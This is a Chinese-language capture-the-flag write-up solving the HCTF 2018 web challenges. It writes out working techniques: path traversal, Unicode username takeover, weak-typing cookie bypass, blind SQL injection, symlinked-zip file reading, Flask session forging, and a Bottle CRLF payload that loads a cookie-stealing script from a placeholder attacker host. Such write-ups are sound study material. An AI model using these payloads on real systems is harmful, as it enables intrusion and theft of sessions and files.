前言
上周末忙着准备期中考试,HCTF也只是匆匆看了几题,有个思路之后就没再做了,这两天趁着服务器还没关闭来重新复现一下,相比去年的HCTF,今年题目自己也能有点思路了,不过相比出题人,自己还是差了不少,废话不多说,看各个题目。
warmup
一道文件包含题。访问查看注释发现有源代码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
可以知道emmm中的checkFile有变量将$_GET[‘file’]以”?”为分隔符分为几部分,只要在”?”前的变量在白名单中就可以返回true。
结合提示”flag not here, and flag in ffffllllaaaagggg”,构造file=hint.php?../../../../../ffffllllaaaagggg拿到flag。
admin
这道题正解应该是通过Unicode字符来注册一个在执行strlower函数后用户名为admin的账户从而获得flag。
我们先是在change下看到了注释,去GitHub上拿到源码(听说有队伍直接在GitHub上搜索就搜索到了)。
在tamplates/index.html 下可以看到只要session[‘name’] == ‘admin’ 就可以看到flag。我的第一直觉是伪造session来获得admin的登录态,这是出题人的非预期吧,稍后讲。
在app/routes.py的第41,63和84行的注册,登录和更改密码处发现了strlower函数。
随后在第106行发现strlower的定义。
在注册的时候将用户名strlower带入数据库查询,登录的时候也使用strlower查询,而登录之后更改密码又再一次使用了strlower,也就是说登录之后的用户名会进行两次strlower。这就导致了某些形如字母的Unicode字符在经过strlower变成字母,第二次strlower之后变为小写字母。
举个例子,”\u1d2c”经过Unicode解码之后变为”ᴬ”,我们注册一个名为ᴬdmin的用户,在登录的时候session[‘name’]变为”Admin”,在修改密码的时候又变为”admin”,这使得我们可以越权修改admin的密码,修改完后登录上去就可以看到flag。(这个漏洞目前在新版本的Twisted中已被修复)
再来谈谈session伪造。由于出题人的疏忽,不小心在源码中泄露了SECRET_KEY。
这就导致可以通过本地构造session来构造admin的登录态。这和hideandseek有异曲同工之妙,将在后面仔细讲解。
kzone
一道由Li4n0从钓鱼网站源码中修改代码而成的题目。
随便扫扫目录,发现www.zip,就自己在本地搭了个环境,查看login.php发现使用了addslashes函数,但需要绕过safe.php中的waf
1 | function waf($string) |
waf把能所有东西都过滤了,并且在login.php中还判断了数据库中的用户名和输入的用户名是否相等,导致post注入被堵死。
再次审计一下代码发现admin目录下的除login.php外都是由一个islogin变量来判断是否登录,全局搜索一下发现islogin变量在/include/member.php中。我们看到了熟悉的json_decode还有双等号!在本次环境测试了一下发现在输入Unicode编码的时候,json_decode会自动还原成字符,这样我们既绕过了waf,又达到注入的目的,这个我们稍后再说。
先来讲讲下面的弱类型,我们可以通过发送cookie的login_data模拟admin登录态,并且我们知道服务器有admin用户但不知道admin密码,由于这个弱类型,我们可以通过number == $admin_pass的前几位来模拟登陆,使用burp最后跑出来的数字是65,也就是只要构造login_data={"admin_user":"admin","admin_pass":65}
就可以登陆后台系统。但直接跑数字的话存在一个问题。既当sha1($udata[‘password’] . LOGIN_KEY)中出现形如65e123a….之类的字符串时,那admin_pass就必须为65e123(e为科学计数法)。这点在我本地构造环境时让我频频出错,好在出题人并没有为难我们,毕竟这个脚本也不好跑。
登录后台后发现flag不在后台中,想想应该是在数据库中。现在讲讲注入。刚才讲过,json_decode会还原Unicode编码,并且waf里刚好没有过滤掉’/‘,在本地创个测试环境。
1 |
|
我们发现json_decode确实将Unicode编码还原成字符,接下来就好办了,在代码中如果没有查询到的话就会有四次setcookie,如果查询到就只有两次setcookie,或者根据弱类型跑出来的密码来判断是否登录,因此可以采用布尔盲注;当然也可以使用时间盲注,这里我采用布尔盲注。
1 | # -*- coding: utf-8 -*- |
没有使用多线程跑起来真的慢,下次整理一篇多线程的文章。
hide and seek
需要上传zip文件,上传随意文件发现没有啥卵用,想到前几个月某场比赛的一道题,随即试试上传软连接文件。
在linux下执行ln -s /etc/passwd link
和zip -y 1.zip link
上传后得到passwd文件,拿到一个任意文件读取。
出题人第二天给了提示docker,读取下/proc/self/environ的环境变量。
1 | UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=30b76592807cSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0 |
找到了web服务器,读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
1 | [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app |
这里/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py是运行中的文件,拿来看看
1 | # -*- coding: utf-8 -*- |
读取/app/hard_t0_guess_n9f5a95b5ku9fg/flag.py发现不是admin无法读取。
转换思路,读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html看看,发现主页变为
在代码第40行得知admin无法登陆,所以又是伪造session来获得admin的登录态。从main.py可以知道secret是随机数,而随机数的种子是uuid.getnode(),也就是mac地址,可以从/sys/class/net/eth0/address来获取,得到12:34:3e:14:7c:62,在python3的环境下伪造session,将session放回网站拿到flag。
1 | from flask import Flask, session |
访问/get/查看session放回原网站拿到flag
game
一道很新颖的题目。可以随意注册,注册完之后在user.php可以进行排序,order可以等于id,username,sex,score,没有发现注入点。经过提示,尝试order=password发现可以排序,我们可以因此通过不断比较密码得到admin的密码。并且注册两个号后比较发现是降序排列。
例如注册一个密码为d的用户,在密码排序下发现在admin下面,注册一个密码为e的用户,在admin的上面,可以推断出admin的第一位密码是d,按照这样使用脚本爆破出admin的密码,登录访问flag.php即可得到flag。
bottle
这是一个16年的cve漏洞。参考https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html。
提交url的时候会进行302跳转。尝试头注入。
CSP头在响应的下方,直接导致CSP无效。但在302的时候无法xss,需要找到一个端口来绕过302跳转,当0或者22号端口的时候可以打到cookie,拿到cookie后到网站上使用cookie拿到flag。
最终payload:http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://youvps/cookie.js%3E%3C/script%3E
后记
其实还有两道web题我没有写出wp,一道ruby一道web加密码学,即使看了学长的wp依旧没能深刻理解,学习无止境吧,明年继续加油。
参考
Unicode 安全:http://blog.lnyas.xyz/?p=1411
CVE-2016-9964:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html